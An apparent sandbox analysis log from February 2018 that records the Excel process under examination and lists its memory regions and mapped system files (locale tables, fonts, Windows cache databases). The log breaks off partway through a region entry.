# Flog Txt Version 1 # Analyzer Version: 2.2.0 # Analyzer Build Date: Feb 24 2018 14:52:24 # Log Creation Date: 27.02.2018 09:02:27.536 Process: id = "1" image_name = "excel.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\excel.exe" page_root = "0x57352000" os_pid = "0xa2c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010944" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 134 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 135 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 136 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 137 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 138 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 139 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 140 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 141 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 142 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 143 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 144 start_va = 0x110000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 145 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 146 start_va = 0x220000 end_va = 0x226fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 147 start_va = 0x230000 end_va = 0x231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 148 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 149 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 150 start_va = 0x260000 end_va = 0x262fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 151 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 152 start_va = 0x280000 end_va = 0x282fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 153 start_va = 0x290000 end_va = 0x292fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 154 start_va = 0x2a0000 end_va = 0x2a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 155 start_va = 0x2b0000 end_va = 0x2b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 156 start_va = 0x2c0000 end_va = 0x2c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 157 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 158 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 159 start_va = 0x4d0000 end_va = 0x657fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 160 start_va = 0x660000 end_va = 0x7e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 161 start_va = 0x7f0000 end_va = 0x1beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 162 start_va = 0x1bf0000 end_va = 0x1ebefff entry_point = 0x1bf0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 163 start_va = 0x1ec0000 end_va = 0x22b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 164 start_va = 0x22c0000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 165 start_va = 0x23c0000 end_va = 0x23c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 166 start_va = 0x23d0000 end_va = 0x24aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023d0000" filename = "" Region: id = 167 start_va = 0x24b0000 end_va = 0x24b0fff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 168 start_va = 0x24c0000 end_va = 0x24c4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024c0000" filename = "" Region: id = 169 start_va = 0x24d0000 end_va = 0x254ffff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 170 start_va = 0x2550000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 171 start_va = 0x2590000 end_va = 0x2590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002590000" filename = "" Region: id = 172 start_va = 0x25a0000 end_va = 0x25affff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 173 start_va = 0x25b0000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 174 start_va = 0x26b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026b0000" filename = "" Region: id = 175 start_va = 0x26c0000 end_va = 0x26c0fff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 176 start_va = 0x26d0000 end_va = 0x26d0fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 177 start_va = 0x26e0000 end_va = 0x26effff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 178 start_va = 0x26f0000 end_va = 0x26f0fff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 179 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 180 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 181 start_va = 0x2720000 end_va = 0x2720fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 182 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002730000" filename = "" Region: id = 183 start_va = 0x2740000 end_va = 0x2741fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002740000" filename = "" Region: id = 184 start_va = 0x2750000 end_va = 0x275cfff entry_point = 0x2750000 region_type = mapped_file name = "comdlg32.dll.mui" filename = "\\Windows\\System32\\en-US\\comdlg32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\comdlg32.dll.mui") Region: id = 185 start_va = 0x2760000 end_va = 0x2761fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002760000" filename = "" Region: id = 186 start_va = 0x2770000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 187 start_va = 0x2870000 end_va = 0x38b1fff entry_point = 0x2870000 region_type = mapped_file name = "xlintl32.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll") Region: id = 188 start_va = 0x38c0000 end_va = 0x38c0fff entry_point = 0x0 region_type = private name = "private_0x00000000038c0000" filename = "" Region: id = 189 start_va = 0x38d0000 end_va = 0x38d0fff entry_point = 0x0 region_type = private name = "private_0x00000000038d0000" filename = "" Region: id = 190 start_va = 0x38e0000 end_va = 0x38e0fff entry_point = 0x0 region_type = private name = "private_0x00000000038e0000" filename = "" Region: id = 191 start_va = 0x38f0000 end_va = 0x38f0fff entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 192 start_va = 0x3900000 end_va = 0x39fffff entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 193 start_va = 0x3a00000 end_va = 0x3a00fff entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 194 start_va = 0x3a10000 end_va = 0x3a11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a10000" filename = "" Region: id = 195 start_va = 0x3a20000 end_va = 0x3a30fff entry_point = 0x3a20000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 196 start_va = 0x3a40000 end_va = 0x3a41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a40000" filename = "" Region: id = 197 start_va = 0x3a50000 end_va = 0x3a50fff entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 198 start_va = 0x3a60000 end_va = 0x3b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a60000" filename = "" Region: id = 199 start_va = 0x3b60000 end_va = 0x3b61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b60000" filename = "" Region: id = 200 start_va = 0x3b70000 end_va = 0x3b70fff entry_point = 0x0 region_type = private name = "private_0x0000000003b70000" filename = "" Region: id = 201 start_va = 0x3b80000 end_va = 0x3b80fff entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 202 start_va = 0x3b90000 end_va = 0x3b90fff entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 203 start_va = 0x3ba0000 end_va = 0x3ba1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ba0000" filename = "" Region: id = 204 start_va = 0x3bb0000 end_va = 0x3caffff entry_point = 0x0 region_type = private name = "private_0x0000000003bb0000" filename = "" Region: id = 205 start_va = 0x3cb0000 end_va = 0x3cc1fff entry_point = 0x0 region_type = private name = "private_0x0000000003cb0000" filename = "" Region: id = 206 start_va = 0x3cd0000 end_va = 0x3cd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003cd0000" filename = "" Region: id = 207 start_va = 0x3ce0000 end_va = 0x3ddffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 208 start_va = 0x3de0000 end_va = 0x3edffff entry_point = 0x0 region_type = private name = "private_0x0000000003de0000" filename = "" Region: id = 209 start_va = 0x3ee0000 end_va = 0x3ee2fff entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 210 start_va = 0x3ef0000 end_va = 0x3ef2fff entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 211 start_va = 0x3f00000 end_va = 0x3f02fff entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 212 start_va = 0x3f10000 end_va = 0x3f12fff entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 213 start_va = 0x3f20000 end_va = 0x3f20fff entry_point = 0x0 region_type = private name = "private_0x0000000003f20000" filename = "" Region: id = 214 start_va = 0x3f30000 end_va = 0x3f30fff entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 215 start_va = 0x3f40000 end_va = 0x3f40fff entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 216 start_va = 0x3f50000 end_va = 0x3fcffff entry_point = 0x0 region_type = private name = "private_0x0000000003f50000" filename = "" Region: id = 217 start_va = 0x3fd0000 end_va = 0x3fdffff entry_point = 0x0 region_type = private name = "private_0x0000000003fd0000" filename = "" Region: id = 218 start_va = 0x3fe0000 end_va = 0x405efff entry_point = 0x3fe0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 219 start_va = 0x4060000 end_va = 0x4071fff entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 220 start_va = 0x4080000 end_va = 0x4080fff entry_point = 0x0 region_type = private name = "private_0x0000000004080000" filename = "" Region: id = 221 start_va = 0x4090000 end_va = 0x4090fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004090000" filename = "" Region: id = 222 start_va = 0x40a0000 end_va = 0x419ffff entry_point = 0x0 region_type = private name = "private_0x00000000040a0000" filename = "" Region: id = 223 start_va = 0x41a0000 end_va = 0x459ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041a0000" filename = "" Region: id = 224 start_va = 0x45a0000 end_va = 0x45c4fff entry_point = 0x45a0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000013.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000013.db") Region: id = 225 start_va = 0x45d0000 end_va = 0x45d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000045d0000" filename = "" Region: id = 226 start_va = 0x45e0000 end_va = 0x45e0fff entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 227 start_va = 0x45f0000 end_va = 0x45f0fff entry_point = 0x0 region_type = private name = "private_0x00000000045f0000" filename = "" Region: id = 228 start_va = 0x4600000 end_va = 0x46fffff entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 229 start_va = 0x4700000 end_va = 0x48fffff entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 230 start_va = 0x4900000 end_va = 0x50fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004900000" filename = "" Region: id = 231 start_va = 0x5100000 end_va = 0x51fffff entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 232 start_va = 0x5200000 end_va = 0x5200fff entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 233 start_va = 0x5210000 end_va = 0x5210fff entry_point = 0x0 region_type = private name = "private_0x0000000005210000" filename = "" Region: id = 234 start_va = 0x5220000 end_va = 0x522ffff entry_point = 0x0 region_type = private name = "private_0x0000000005220000" filename = "" Region: id = 235 start_va = 0x5230000 end_va = 0x523ffff entry_point = 0x0 region_type = private name = "private_0x0000000005230000" filename = "" Region: id = 236 start_va = 0x5240000 end_va = 0x5241fff entry_point = 0x0 region_type = private name = "private_0x0000000005240000" filename = "" Region: id = 237 start_va = 0x5250000 end_va = 0x525ffff entry_point = 0x0 region_type = private name = "private_0x0000000005250000" filename = "" Region: id = 238 start_va = 0x5260000 end_va = 0x5260fff entry_point = 0x0 region_type = private name = "private_0x0000000005260000" filename = "" Region: id = 239 start_va = 0x5270000 end_va = 0x5270fff entry_point = 0x0 region_type = private name = "private_0x0000000005270000" filename = "" Region: id = 240 start_va = 0x5280000 end_va = 0x537ffff entry_point = 0x0 region_type = private name = "private_0x0000000005280000" filename = "" Region: id = 241 start_va = 0x5380000 end_va = 0x542afff entry_point = 0x5380000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 242 start_va = 0x5430000 end_va = 0x5477fff entry_point = 0x0 region_type = private name = "private_0x0000000005430000" filename = "" Region: id = 243 start_va = 0x5480000 end_va = 0x54fffff entry_point = 0x0 region_type = private name = "private_0x0000000005480000" filename = "" Region: id = 244 start_va = 0x5500000 end_va = 0x5547fff entry_point = 0x0 region_type = private name = "private_0x0000000005500000" filename = "" Region: id = 245 start_va = 0x5550000 end_va = 0x5550fff entry_point = 0x0 region_type = private name = "private_0x0000000005550000" filename = "" Region: id = 246 start_va = 0x5560000 end_va = 0x5560fff entry_point = 0x0 region_type = private name = "private_0x0000000005560000" filename = "" Region: id = 247 start_va = 0x5570000 end_va = 0x566ffff entry_point = 0x0 region_type = private name = "private_0x0000000005570000" filename = "" Region: id = 248 start_va = 0x5670000 end_va = 0x5670fff entry_point = 0x0 region_type = private name = "private_0x0000000005670000" filename = "" Region: id = 249 start_va = 0x5680000 end_va = 0x5680fff entry_point = 0x0 region_type = private name = "private_0x0000000005680000" filename = "" Region: id = 250 start_va = 0x5690000 end_va = 0x5690fff entry_point = 0x0 region_type = private name = "private_0x0000000005690000" filename = "" Region: id = 251 start_va = 0x56a0000 end_va = 0x56a0fff entry_point = 0x0 region_type = private name = "private_0x00000000056a0000" filename = "" Region: id = 252 start_va = 0x56b0000 end_va = 0x57affff entry_point = 0x0 region_type = private name = "private_0x00000000056b0000" filename = "" Region: id = 253 start_va = 0x57b0000 end_va = 0x5baffff entry_point = 0x0 region_type = private name = "private_0x00000000057b0000" filename = "" Region: id = 254 start_va = 0x5bb0000 end_va = 0x5caffff entry_point = 0x0 region_type = private name = "private_0x0000000005bb0000" filename = "" Region: id = 255 start_va = 0x5cb0000 end_va = 0x5cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000005cb0000" filename = "" Region: id = 256 start_va = 0x5cc0000 end_va = 0x5cc0fff entry_point = 0x0 region_type = private name = "private_0x0000000005cc0000" filename = "" Region: id = 257 start_va = 0x5cd0000 end_va = 0x5cd0fff entry_point = 0x0 region_type = private name = "private_0x0000000005cd0000" filename = "" Region: id = 258 start_va = 0x5ce0000 end_va = 0x5ce0fff entry_point = 0x0 region_type = private name = "private_0x0000000005ce0000" filename = "" Region: id = 259 start_va = 0x5cf0000 end_va = 0x5cf0fff entry_point = 0x0 region_type = private name = "private_0x0000000005cf0000" filename = "" Region: id = 260 start_va = 0x5d00000 end_va = 0x5d00fff entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 261 start_va = 0x5d10000 end_va = 0x5d10fff entry_point = 0x0 region_type = private name = "private_0x0000000005d10000" filename = "" Region: id = 262 start_va = 0x5d20000 end_va = 0x5d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000005d20000" filename = "" Region: id = 263 start_va = 0x5da0000 end_va = 0x5da0fff entry_point = 0x0 region_type = private name = "private_0x0000000005da0000" filename = "" Region: id = 264 start_va = 0x5db0000 end_va = 0x5db0fff entry_point = 0x0 region_type = private name = "private_0x0000000005db0000" filename = "" Region: id = 265 start_va = 0x5dc0000 end_va = 0x5dc0fff entry_point = 0x0 region_type = private name = "private_0x0000000005dc0000" filename = "" Region: id = 266 start_va = 0x5dd0000 end_va = 0x5e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000005dd0000" filename = "" Region: id = 267 start_va = 0x5e50000 end_va = 0x5e53fff entry_point = 0x5e50000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 268 start_va = 0x5e60000 end_va = 0x5e8ffff entry_point = 0x5e60000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000018.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db") Region: id = 269 start_va = 0x5e90000 end_va = 0x5e93fff entry_point = 0x5e90000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 270 start_va = 0x5ea0000 end_va = 0x5ea1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005ea0000" filename = "" Region: id = 271 start_va = 0x5eb0000 end_va = 0x5eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000005eb0000" filename = "" Region: id = 272 start_va = 0x5ec0000 end_va = 0x5ec0fff entry_point = 0x0 region_type = private name = "private_0x0000000005ec0000" filename = "" Region: id = 273 start_va = 0x5ed0000 end_va = 0x5ed0fff entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 274 start_va = 0x5ee0000 end_va = 0x5f45fff entry_point = 0x5ee0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 275 start_va = 0x5f50000 end_va = 0x5f51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f50000" filename = "" Region: id = 276 start_va = 0x5f60000 end_va = 0x5f60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f60000" filename = "" Region: id = 277 start_va = 0x5f70000 end_va = 0x5f70fff entry_point = 0x0 region_type = private name = "private_0x0000000005f70000" filename = "" Region: id = 278 start_va = 0x5f80000 end_va = 0x5f80fff entry_point = 0x0 region_type = private name = "private_0x0000000005f80000" filename = "" Region: id = 279 start_va = 0x5f90000 end_va = 0x5f90fff entry_point = 0x0 region_type = private name = "private_0x0000000005f90000" filename = "" Region: id = 280 start_va = 0x5fa0000 end_va = 0x5fa1fff entry_point = 0x0 region_type = private name = "private_0x0000000005fa0000" filename = "" Region: id = 281 start_va = 0x5fb0000 end_va = 0x5fb3fff entry_point = 0x5fb0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 282 start_va = 0x5fc0000 end_va = 0x5fc0fff entry_point = 0x5fc0000 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 283 start_va = 0x5fd0000 end_va = 0x5fd3fff entry_point = 0x5fd0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 284 start_va = 0x5fe0000 end_va = 0x5fe0fff entry_point = 0x5fe0000 region_type = mapped_file name = "{e7a5d490-9662-4cc8-bde6-d78f5ebd0983}.2.ver0x0000000000000003.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{E7A5D490-9662-4CC8-BDE6-D78F5EBD0983}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{e7a5d490-9662-4cc8-bde6-d78f5ebd0983}.2.ver0x0000000000000003.db") Region: id = 285 start_va = 0x5ff0000 end_va = 0x5ff3fff entry_point = 0x5ff0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 286 start_va = 0x6000000 end_va = 0x600ffff entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 287 start_va = 0x6010000 end_va = 0x680ffff entry_point = 0x0 region_type = private name = "private_0x0000000006010000" filename = "" Region: id = 288 start_va = 0x6810000 end_va = 0x6c10fff entry_point = 0x0 region_type = private name = "private_0x0000000006810000" filename = "" Region: id = 289 start_va = 0x6c20000 end_va = 0x7020fff entry_point = 0x0 region_type = private name = "private_0x0000000006c20000" filename = "" Region: id = 290 start_va = 0x7030000 end_va = 0x7430fff entry_point = 0x0 region_type = private name = "private_0x0000000007030000" filename = "" Region: id = 291 start_va = 0x7440000 end_va = 0x763ffff entry_point = 0x0 region_type = private name = "private_0x0000000007440000" filename = "" Region: id = 292 start_va = 0x7640000 end_va = 0x7f6ffff entry_point = 0x7640000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 293 start_va = 0x7f70000 end_va = 0x8200fff entry_point = 0x0 region_type = private name = "private_0x0000000007f70000" filename = "" Region: id = 294 start_va = 0x8210000 end_va = 0x860ffff entry_point = 0x0 region_type = private name = "private_0x0000000008210000" filename = "" Region: id = 295 start_va = 0x8610000 end_va = 0x870ffff entry_point = 0x0 region_type = private name = "private_0x0000000008610000" filename = "" Region: id = 296 start_va = 0x8710000 end_va = 0x8710fff entry_point = 0x8710000 region_type = mapped_file name = "{7da9c8ea-8caa-439d-970f-6b573d119577}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{7DA9C8EA-8CAA-439D-970F-6B573D119577}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{7da9c8ea-8caa-439d-970f-6b573d119577}.2.ver0x0000000000000001.db") Region: id = 297 start_va = 0x8720000 end_va = 0x8720fff entry_point = 0x0 region_type = private name = "private_0x0000000008720000" filename = "" Region: id = 298 start_va = 0x8730000 end_va = 0x8737fff entry_point = 0x0 region_type = private name = "private_0x0000000008730000" filename = "" Region: id = 299 start_va = 0x8740000 end_va = 0x8740fff entry_point = 0x8740000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 300 start_va = 0x8750000 end_va = 0x8751fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008750000" filename = "" Region: id = 301 start_va = 0x8760000 end_va = 0x8760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008760000" filename = "" Region: id = 302 start_va = 0x8770000 end_va = 0x8770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008770000" filename = "" Region: id = 303 start_va = 0x8780000 end_va = 0x8781fff entry_point = 0x8780000 region_type = mapped_file name = "mssvp.dll.mui" filename = "\\Windows\\System32\\en-US\\mssvp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mssvp.dll.mui") Region: id = 304 start_va = 0x8790000 end_va = 0x888ffff entry_point = 0x0 region_type = private name = "private_0x0000000008790000" filename = "" Region: id = 305 start_va = 0x8890000 end_va = 0x8890fff entry_point = 0x0 region_type = private name = "private_0x0000000008890000" filename = "" Region: id = 306 start_va = 0x88a0000 end_va = 0x88affff entry_point = 0x0 region_type = private name = "private_0x00000000088a0000" filename = "" Region: id = 307 start_va = 0x88b0000 end_va = 0x89affff entry_point = 0x0 region_type = private name = "private_0x00000000088b0000" filename = "" Region: id = 308 start_va = 0x89b0000 end_va = 0x91affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000089b0000" filename = "" Region: id = 309 start_va = 0x91b0000 end_va = 0x91b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000091b0000" filename = "" Region: id = 310 start_va = 0x91c0000 end_va = 0x91c1fff entry_point = 0x0 region_type = private name = "private_0x00000000091c0000" filename = "" Region: id = 311 start_va = 0x91d0000 end_va = 0x91d8fff entry_point = 0x0 region_type = private name = "private_0x00000000091d0000" filename = "" Region: id = 312 start_va = 0x91e0000 end_va = 0x91e2fff entry_point = 0x0 region_type = private name = "private_0x00000000091e0000" filename = "" Region: id = 313 start_va = 0x91f0000 end_va = 0x91f2fff entry_point = 0x0 region_type = private name = "private_0x00000000091f0000" filename = "" Region: id = 314 start_va = 0x9200000 end_va = 0x927ffff entry_point = 0x0 region_type = private name = "private_0x0000000009200000" filename = "" Region: id = 315 start_va = 0x9280000 end_va = 0x9280fff entry_point = 0x0 region_type = private name = 